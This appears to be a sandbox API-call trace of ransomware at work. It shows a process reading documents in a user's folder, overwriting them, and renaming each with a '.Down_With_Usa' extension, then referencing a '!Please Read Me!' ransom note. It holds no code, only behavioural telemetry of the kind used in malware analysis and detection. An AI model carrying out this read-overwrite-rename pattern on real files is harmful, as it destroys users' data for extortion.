[0120.863] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d19e90, ftCreationTime.dwHighDateTime=0x1d5e155, ftLastAccessTime.dwLowDateTime=0x9ac33c0, ftLastAccessTime.dwHighDateTime=0x1d5d9eb, ftLastWriteTime.dwLowDateTime=0x9ac33c0, ftLastWriteTime.dwHighDateTime=0x1d5d9eb, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="6uHX9Zw.odt", cAlternateFileName="")) returned 1
[0120.863] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22197370, ftCreationTime.dwHighDateTime=0x1d5dc2d, ftLastAccessTime.dwLowDateTime=0x9bb938c0, ftLastAccessTime.dwHighDateTime=0x1d5da00, ftLastWriteTime.dwLowDateTime=0x9bb938c0, ftLastWriteTime.dwHighDateTime=0x1d5da00, nFileSizeHigh=0x0, nFileSizeLow=0x2df1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EOKW.odp", cAlternateFileName="")) returned 1
[0120.863] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ee40c0, ftCreationTime.dwHighDateTime=0x1d5dd98, ftLastAccessTime.dwLowDateTime=0x35924010, ftLastAccessTime.dwHighDateTime=0x1d5dd10, ftLastWriteTime.dwLowDateTime=0x35924010, ftLastWriteTime.dwHighDateTime=0x1d5dd10, nFileSizeHigh=0x0, nFileSizeLow=0x8c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="NJ5yjd5hn_aQ.csv", cAlternateFileName="NJ5YJD~1.CSV")) returned 1
[0120.863] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0120.863] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0120.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0120.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.863] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK", lpFilePart=0x0) returned 0x2d
[0120.863] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\", lpFilePart=0x0) returned 0x2e
[0120.863] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe334dcf0, ftCreationTime.dwHighDateTime=0x1d5e440, ftLastAccessTime.dwLowDateTime=0xd14b5490, ftLastAccessTime.dwHighDateTime=0x1d5de07, ftLastWriteTime.dwLowDateTime=0xd14b5490, ftLastWriteTime.dwHighDateTime=0x1d5de07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.864] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe334dcf0, ftCreationTime.dwHighDateTime=0x1d5e440, ftLastAccessTime.dwLowDateTime=0xd14b5490, ftLastAccessTime.dwHighDateTime=0x1d5de07, ftLastWriteTime.dwLowDateTime=0xd14b5490, ftLastWriteTime.dwHighDateTime=0x1d5de07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.864] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9ca8e0, ftCreationTime.dwHighDateTime=0x1d5df87, ftLastAccessTime.dwLowDateTime=0x3e91b00, ftLastAccessTime.dwHighDateTime=0x1d5dc3a, ftLastWriteTime.dwLowDateTime=0x3e91b00, ftLastWriteTime.dwHighDateTime=0x1d5dc3a, nFileSizeHigh=0x0, nFileSizeLow=0xffc, dwReserved0=0x0, dwReserved1=0x0, cFileName="3fUOD.odp", cAlternateFileName="")) returned 1
[0120.864] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d19e90, ftCreationTime.dwHighDateTime=0x1d5e155, ftLastAccessTime.dwLowDateTime=0x9ac33c0, ftLastAccessTime.dwHighDateTime=0x1d5d9eb, ftLastWriteTime.dwLowDateTime=0x9ac33c0, ftLastWriteTime.dwHighDateTime=0x1d5d9eb, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="6uHX9Zw.odt", cAlternateFileName="")) returned 1
[0120.864] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22197370, ftCreationTime.dwHighDateTime=0x1d5dc2d, ftLastAccessTime.dwLowDateTime=0x9bb938c0, ftLastAccessTime.dwHighDateTime=0x1d5da00, ftLastWriteTime.dwLowDateTime=0x9bb938c0, ftLastWriteTime.dwHighDateTime=0x1d5da00, nFileSizeHigh=0x0, nFileSizeLow=0x2df1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EOKW.odp", cAlternateFileName="")) returned 1
[0120.864] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ee40c0, ftCreationTime.dwHighDateTime=0x1d5dd98, ftLastAccessTime.dwLowDateTime=0x35924010, ftLastAccessTime.dwHighDateTime=0x1d5dd10, ftLastWriteTime.dwLowDateTime=0x35924010, ftLastWriteTime.dwHighDateTime=0x1d5dd10, nFileSizeHigh=0x0, nFileSizeLow=0x8c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="NJ5yjd5hn_aQ.csv", cAlternateFileName="NJ5YJD~1.CSV")) returned 1
[0120.864] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ee40c0, ftCreationTime.dwHighDateTime=0x1d5dd98, ftLastAccessTime.dwLowDateTime=0x35924010, ftLastAccessTime.dwHighDateTime=0x1d5dd10, ftLastWriteTime.dwLowDateTime=0x35924010, ftLastWriteTime.dwHighDateTime=0x1d5dd10, nFileSizeHigh=0x0, nFileSizeLow=0x8c60, dwReserved0=0x0, dwReserved1=0x0, cFileName="NJ5yjd5hn_aQ.csv", cAlternateFileName="NJ5YJD~1.CSV")) returned 0
[0120.864] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0120.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0120.864] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp", lpFilePart=0x0) returned 0x37
[0120.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0120.864] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\3fuod.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0120.865] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0xffc
[0120.865] ReadFile (in: hFile=0x3a8, lpBuffer=0x2697798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x2697798*, lpNumberOfBytesRead=0x2eb8d8*=0xffc, lpOverlapped=0x0) returned 1
[0120.910] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp", lpFilePart=0x0) returned 0x37
[0120.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0120.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\3fuod.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0120.914] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp", lpFilePart=0x0) returned 0x37
[0120.914] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp.Down_With_Usa", lpFilePart=0x0) returned 0x45
[0120.914] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0120.914] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\3fuod.odp"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9ca8e0, ftCreationTime.dwHighDateTime=0x1d5df87, ftLastAccessTime.dwLowDateTime=0x3e91b00, ftLastAccessTime.dwHighDateTime=0x1d5dc3a, ftLastWriteTime.dwLowDateTime=0x24872160, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0120.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0120.915] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\3fuod.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\3fUOD.odp.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\3fuod.odp.down_with_usa")) returned 1
[0120.942] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt", lpFilePart=0x0) returned 0x39
[0120.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0120.943] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\6uhx9zw.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0120.966] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x74e5
[0120.966] ReadFile (in: hFile=0x3a8, lpBuffer=0x27895e0, nNumberOfBytesToRead=0x74e5, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x27895e0*, lpNumberOfBytesRead=0x2eb8d8*=0x74e5, lpOverlapped=0x0) returned 1
[0121.012] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt", lpFilePart=0x0) returned 0x39
[0121.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0121.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\6uhx9zw.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0121.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt", lpFilePart=0x0) returned 0x39
[0121.016] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt.Down_With_Usa", lpFilePart=0x0) returned 0x47
[0121.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0121.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\6uhx9zw.odt"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d19e90, ftCreationTime.dwHighDateTime=0x1d5e155, ftLastAccessTime.dwLowDateTime=0x9ac33c0, ftLastAccessTime.dwHighDateTime=0x1d5d9eb, ftLastWriteTime.dwLowDateTime=0x249569a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x74f0)) returned 1
[0121.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0121.016] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\6uhx9zw.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\6uHX9Zw.odt.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\6uhx9zw.odt.down_with_usa")) returned 1
[0121.018] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp", lpFilePart=0x0) returned 0x36
[0121.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0121.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\eokw.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0121.018] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x2df1
[0121.018] ReadFile (in: hFile=0x3a8, lpBuffer=0x26a85b0, nNumberOfBytesToRead=0x2df1, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x26a85b0*, lpNumberOfBytesRead=0x2eb8d8*=0x2df1, lpOverlapped=0x0) returned 1
[0121.043] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp", lpFilePart=0x0) returned 0x36
[0121.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0121.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\eokw.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0121.047] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp", lpFilePart=0x0) returned 0x36
[0121.047] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp.Down_With_Usa", lpFilePart=0x0) returned 0x44
[0121.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0121.047] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\eokw.odp"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22197370, ftCreationTime.dwHighDateTime=0x1d5dc2d, ftLastAccessTime.dwLowDateTime=0x9bb938c0, ftLastAccessTime.dwHighDateTime=0x1d5da00, ftLastWriteTime.dwLowDateTime=0x249a2c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x2e00)) returned 1
[0121.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0121.047] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\eokw.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\EOKW.odp.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\eokw.odp.down_with_usa")) returned 1
[0121.048] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv", lpFilePart=0x0) returned 0x3e
[0121.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0121.048] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\nj5yjd5hn_aq.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0121.049] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x8c60
[0121.049] ReadFile (in: hFile=0x3a8, lpBuffer=0x27a5810, nNumberOfBytesToRead=0x8c60, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x27a5810*, lpNumberOfBytesRead=0x2eb8d8*=0x8c60, lpOverlapped=0x0) returned 1
[0121.078] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv", lpFilePart=0x0) returned 0x3e
[0121.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0121.078] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\nj5yjd5hn_aq.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0121.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv", lpFilePart=0x0) returned 0x3e
[0121.082] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv.Down_With_Usa", lpFilePart=0x0) returned 0x4c
[0121.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0121.082] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\nj5yjd5hn_aq.csv"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4ee40c0, ftCreationTime.dwHighDateTime=0x1d5dd98, ftLastAccessTime.dwLowDateTime=0x35924010, ftLastAccessTime.dwHighDateTime=0x1d5dd10, ftLastWriteTime.dwLowDateTime=0x24a15080, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8c70)) returned 1
[0121.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0121.082] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\nj5yjd5hn_aq.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\NJ5yjd5hn_aQ.csv.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\nj5yjd5hn_aq.csv.down_with_usa")) returned 1
[0121.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x50
[0121.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK", lpFilePart=0x0) returned 0x2d
[0121.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0121.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK", lpFilePart=0x0) returned 0x2d
[0121.083] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x50
[0121.083] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
